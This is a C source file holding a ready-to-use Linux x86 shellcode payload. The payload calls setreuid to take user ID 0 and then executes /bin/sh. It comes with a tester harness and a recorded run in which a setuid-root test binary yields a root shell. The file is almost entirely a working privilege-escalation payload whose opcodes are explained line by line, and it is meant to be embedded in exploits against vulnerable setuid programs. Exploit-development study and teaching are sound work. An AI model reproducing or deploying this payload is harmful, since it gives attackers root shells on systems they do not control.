/*
  Author:   Artur [ajes] Szymczak (2021)
  Function:  Linux x86 shellcode, setreuid to 0 and then execute /bin/sh
  Size:    29 bytes

  Testing:

$ gcc -fno-stack-protector -z execstack shellcode_tester.c -o shellcode
shellcode_tester.c: In function ‘main’:
shellcode_tester.c:25:2: warning: incompatible implicit declaration of built-in function ‘printf’ [enabled by default]
shellcode_tester.c:25:24: warning: incompatible implicit declaration of built-in function ‘strlen’ [enabled by default]
$ sudo chown root:root ./shellcode
$ sudo chmod u+s ./shellcode
$ ./shellcode
Length: 29
# id
uid=0(root) gid=1000(artur) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(artur)

*/

char shellcode[] = ""
  "\x31\xc0"    // clear eax, as we don't know its state
  "\xb0\x46"    // syscall setreuid
  "\x31\xdb"    // real user ID = 0
  "\x31\xc9"    // effective user ID = 0
  "\x99"      // saved set-user-ID = 0 (using EDX)
  "\xcd\x80"    // call it

  "\x96"      // clear eax, as we don't know its state after former syscall
  "\xb0\x0b"    // syscall execve
  "\x53"      // NULL string terminator
  "\x68\x2f\x2f\x73\x68"  // //sh
  "\x68\x2f\x62\x69\x6e"  // /bin
  "\x89\xe3"    // pointer to above string - path to the program to execve
  "\xcd\x80";    // call it

void main(void)
{
  printf("Length: %d\n",strlen(shellcode));
  ((void(*)(void))shellcode)();
}